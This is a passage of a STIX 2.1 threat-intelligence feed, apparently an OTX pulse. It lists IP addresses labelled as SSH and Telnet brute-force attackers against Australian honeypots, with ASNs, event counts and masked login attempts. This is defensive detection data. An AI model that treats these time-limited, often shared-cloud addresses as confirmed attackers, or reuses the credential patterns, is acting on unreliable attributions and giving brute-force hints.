      "id": "indicator--117acd7c-7fd3-43e9-83db-e6ca87f7063f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.202.54.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2b287829-a296-4495-a0fd-54a139bcd892",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.36.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): w**2, 3**********4, a*****d, c**t, d***o. Passwords observed (masked): ***, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--672c8848-24dd-4f48-8ed2-cef3933dfec5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.224.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262514. Organisation(s): BTT TELECOMUNICACOES S.A.. Usernames observed (masked): 3**********4, a*****e, i*****l, h**h, i**n. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1****6.",
      "id": "indicator--7fde3635-1005-4775-8ef3-de5cd9d97f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.80.65.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): m******k, 3**********4, c****e, d*********n, j***a. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, A******1.",
      "id": "indicator--60fd2beb-b4c2-4029-99ab-8e8b9fa6cbe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.210.249.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 198953. Organisation(s): Proton66 OOO. Usernames observed (masked): b********r. Passwords observed (masked): b****p.",
      "id": "indicator--e224e36c-8f06-4799-a1c0-094111286ffc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.120.22.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): e**a, 3**********4, r*****o, r**t, r***n. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, q******4.",
      "id": "indicator--1df9f424-1066-4812-93b1-89b8205ae65b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.10.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 196638. Organisation(s): JSC Promtelecom.",
      "id": "indicator--a14a8287-61d9-4755-94b7-a7a15f2489b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.18.14.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--6f8369ca-a30c-4488-b01e-18faab41bae2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.88.190.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): g***a, 3**********4, a***l, a**r, n****a. Passwords observed (masked): 1***5, 3***********4, 3**********4, K******6, S****!.",
      "id": "indicator--2b0d727e-a2bf-4dd8-a329-ebfa0d7a524d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.93.144.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation. Usernames observed (masked): p********r@bardengineering.com. Passwords observed (masked): b**************1.",
      "id": "indicator--08d6213e-d6ed-4786-a425-619668edf616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.173.16.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a*****r, 3**********4, **, d*********t, j***e. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, Q********3.",
      "id": "indicator--cffd247e-f4c6-4c08-9426-655eb9c8fdf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.249.247.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NO. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): m******k, 3**********4, a******k, j***a, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******1, J******3.",
      "id": "indicator--c826bf3d-bc43-4420-90b7-ca8be33b9bcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.29.238.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9319. Organisation(s): HCN CHUNGBUK CABLE TV SYSTEMS.",
      "id": "indicator--cfccdcb6-88a2-4486-9954-2e0d62e81407",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.142.149.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 207083. Organisation(s): HostSlim B.V.. Usernames observed (masked): a*****e, 3**********4, e**a, i**n, r*****o. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, a*********s.",
      "id": "indicator--db2c51b0-84c0-4bf3-a69f-b491f51132d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.12.83.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, k**e, m******k, r**t, z***t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--015e6ab3-bbff-4960-b9d8-0d45a9ec7641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.144.12.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom.",
      "id": "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.138.168.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb. Usernames observed (masked): a******k, 3**********4, k**e, **, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******1, k******!.",
      "id": "indicator--7d3cb209-5f80-4af3-a630-5e03f0d3e8e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.48.24.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:15:15.000Z",
      "valid_until": "2026-04-07T01:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--110d021d-638a-4abb-9edb-c485dd9924a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.94.35.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): a************h.",
      "id": "indicator--ca3bc67f-c80b-4c53-8547-07126d3909b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.163.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--de3b4e17-a13e-42b8-80b5-a01be7757837",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.145.110.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.136.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): d****l. Passwords observed (masked): d********4.",
      "id": "indicator--822bb1ad-ff62-46ff-b8c8-621db5c586c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.210.91.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--00920327-b599-428c-a027-56ed02955d99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:15:13.000Z",
      "valid_until": "2026-04-07T02:15:11.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 109. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, a***l, a*****r, b**t, f*****t. Passwords observed (masked): 1**4, 3**********4, A*********!, b******5, f*****t.",
      "id": "indicator--a8e13b59-2ad5-4d89-8101-a565307385ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, a***n, a****1, u**r. Passwords observed (masked): , 1******n, a**o, p******d, u**r.",
      "id": "indicator--9a5477d2-ea21-4b42-a428-4901e36bd9e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.101.231.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): c**t. Passwords observed (masked): p******d.",
      "id": "indicator--f549dd2a-326b-44e9-ae68-8d107a5f2c99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.216.143.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, c****2, 3**********4, d******r, s**********y. Passwords observed (masked): 0**0, 1******8, 3***********4, 3**********4, L*********9.",
      "id": "indicator--ee37133e-4b3a-4129-b9c4-606fcf6f3129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.154.63.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): t*********e, 3**********4, a***k, k******i, s**d. Passwords observed (masked): 1***5, ***, 1******8, 3***********4, 3**********4.",
      "id": "indicator--c801f044-c055-4b85-9567-f88814acd031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.200.178.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***l, 3**********4, a*****r, b**t, ***. Passwords observed (masked): p******d, ***, 1**4, 1****6, 3***********4.",
      "id": "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.38.52.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: SI. ASN(s): 5603. Organisation(s): Telekom Slovenije, d.d.. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1**4, 7**********v, W******$, i**b, z*******g.",
      "id": "indicator--c43150a8-c31d-48f9-a744-affbec964904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.61.71.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Usernames observed (masked): r********r, 3**********4, ***, c**t, e****r. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, O*****!.",
      "id": "indicator--5fa7756d-6e9c-40a2-9284-a42c20c3e671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.159.111.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:15:07.000Z",
      "valid_until": "2026-04-07T03:15:05.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136697. Organisation(s): In Broadband Private Limited.",
      "id": "indicator--deb6679b-6469-4a62-8d5b-9e5a2d2f6d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.104.53.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): s********t. Passwords observed (masked): z*******r.",
      "id": "indicator--841ead94-14b4-469e-b7ad-a50549a44a18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.189.20.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
